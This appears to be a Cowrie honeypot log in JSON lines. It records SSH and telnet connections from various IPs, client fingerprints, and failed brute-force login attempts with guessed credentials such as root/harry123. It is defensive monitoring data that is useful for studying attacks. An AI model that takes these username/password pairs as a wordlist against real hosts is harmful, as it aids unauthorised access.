{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:42.009127Z","src_ip":"185.113.139.51","session":"f4eebef70da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":51512,"dst_ip":"159.203.135.109","dst_port":22,"session":"53c4ee9c7bc6","protocol":"ssh","message":"New connection: 45.61.148.179:51512 (159.203.135.109:22) [session: 53c4ee9c7bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:47.064648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:47.070682Z","src_ip":"45.61.148.179","session":"53c4ee9c7bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:47.133981Z","src_ip":"45.61.148.179","session":"53c4ee9c7bc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"m","message":"login attempt [ubuntu/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:47.424941Z","src_ip":"45.61.148.179","session":"53c4ee9c7bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:48.491713Z","src_ip":"45.61.148.179","session":"53c4ee9c7bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.82899832725525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:57.016921Z","src_ip":"137.184.5.188","session":"5550f220ff53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":48841,"dst_ip":"159.203.135.109","dst_port":22,"session":"b99c4517df13","protocol":"ssh","message":"New connection: 103.86.198.253:48841 (159.203.135.109:22) [session: b99c4517df13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:02.192753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:02.198930Z","src_ip":"103.86.198.253","session":"b99c4517df13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:02.463816Z","src_ip":"103.86.198.253","session":"b99c4517df13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"priya123","message":"login attempt [root/priya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:03.547296Z","src_ip":"103.86.198.253","session":"b99c4517df13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:04.812995Z","src_ip":"103.86.198.253","session":"b99c4517df13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":42422,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f7e612556be","protocol":"ssh","message":"New connection: 192.163.244.125:42422 (10.17.0.5:22) [session: 6f7e612556be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:06.166668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:06.173706Z","src_ip":"192.163.244.125","session":"6f7e612556be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:06.254938Z","src_ip":"192.163.244.125","session":"6f7e612556be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xvg","password":"xvg123","message":"login attempt [xvg/xvg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:06.490558Z","src_ip":"192.163.244.125","session":"6f7e612556be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36476,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e97a451d7d0","protocol":"ssh","message":"New connection: 194.113.233.25:36476 (10.17.0.5:22) [session: 5e97a451d7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:08.153840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:08.158148Z","src_ip":"194.113.233.25","session":"5e97a451d7d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:08.248469Z","src_ip":"194.113.233.25","session":"5e97a451d7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:08.409979Z","src_ip":"192.163.244.125","session":"6f7e612556be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25041997","message":"login attempt [root/25041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:08.518371Z","src_ip":"194.113.233.25","session":"5e97a451d7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:09.610064Z","src_ip":"194.113.233.25","session":"5e97a451d7d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59856,"dst_ip":"10.17.0.5","dst_port":22,"session":"73fb882d37c7","protocol":"ssh","message":"New connection: 87.251.79.125:59856 (10.17.0.5:22) [session: 73fb882d37c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:19.481101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:19.486233Z","src_ip":"87.251.79.125","session":"73fb882d37c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:19.582064Z","src_ip":"87.251.79.125","session":"73fb882d37c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22052005","message":"login attempt [root/22052005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:19.800684Z","src_ip":"87.251.79.125","session":"73fb882d37c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:20.871312Z","src_ip":"87.251.79.125","session":"73fb882d37c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.114.101.203","src_port":49902,"dst_ip":"159.203.135.109","dst_port":22,"session":"3295627225c5","protocol":"ssh","message":"New connection: 47.114.101.203:49902 (159.203.135.109:22) [session: 3295627225c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:25.541471Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:25.545784Z","src_ip":"47.114.101.203","session":"3295627225c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":40830,"dst_ip":"10.17.0.5","dst_port":22,"session":"47983983e1cc","protocol":"ssh","message":"New connection: 38.242.143.220:40830 (10.17.0.5:22) [session: 47983983e1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:29.353437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:29.360343Z","src_ip":"38.242.143.220","session":"47983983e1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:29.465835Z","src_ip":"38.242.143.220","session":"47983983e1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"Cr@zy#P@ss!W0rd44","message":"login attempt [blockchain/Cr@zy#P@ss!W0rd44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:29.746001Z","src_ip":"38.242.143.220","session":"47983983e1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:30.838900Z","src_ip":"38.242.143.220","session":"47983983e1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49052,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b7844e76cf","protocol":"telnet","message":"New connection: 107.6.151.170:49052 (159.203.135.109:23) [session: a2b7844e76cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:50.405876Z"}
{"eventid":"cowrie.session.closed","duration":0.004218101501464844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:25:50.409950Z","src_ip":"107.6.151.170","session":"a2b7844e76cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":44996,"dst_ip":"159.203.135.109","dst_port":22,"session":"79b5313bc945","protocol":"ssh","message":"New connection: 45.61.148.179:44996 (159.203.135.109:22) [session: 79b5313bc945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:18.111827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:18.115659Z","src_ip":"45.61.148.179","session":"79b5313bc945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:18.176941Z","src_ip":"45.61.148.179","session":"79b5313bc945","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"harry123","message":"login attempt [root/harry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:18.460291Z","src_ip":"45.61.148.179","session":"79b5313bc945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:19.524434Z","src_ip":"45.61.148.179","session":"79b5313bc945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":42180,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bfdc9ef42d5","protocol":"ssh","message":"New connection: 185.113.139.51:42180 (159.203.135.109:22) [session: 9bfdc9ef42d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:28.461056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:28.464463Z","src_ip":"185.113.139.51","session":"9bfdc9ef42d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:28.573094Z","src_ip":"185.113.139.51","session":"9bfdc9ef42d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"harry123","message":"login attempt [root/harry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:26:29.047285Z","src_ip":"185.113.139.51","session":"9bfdc9ef42d5","protocol":"ssh"}
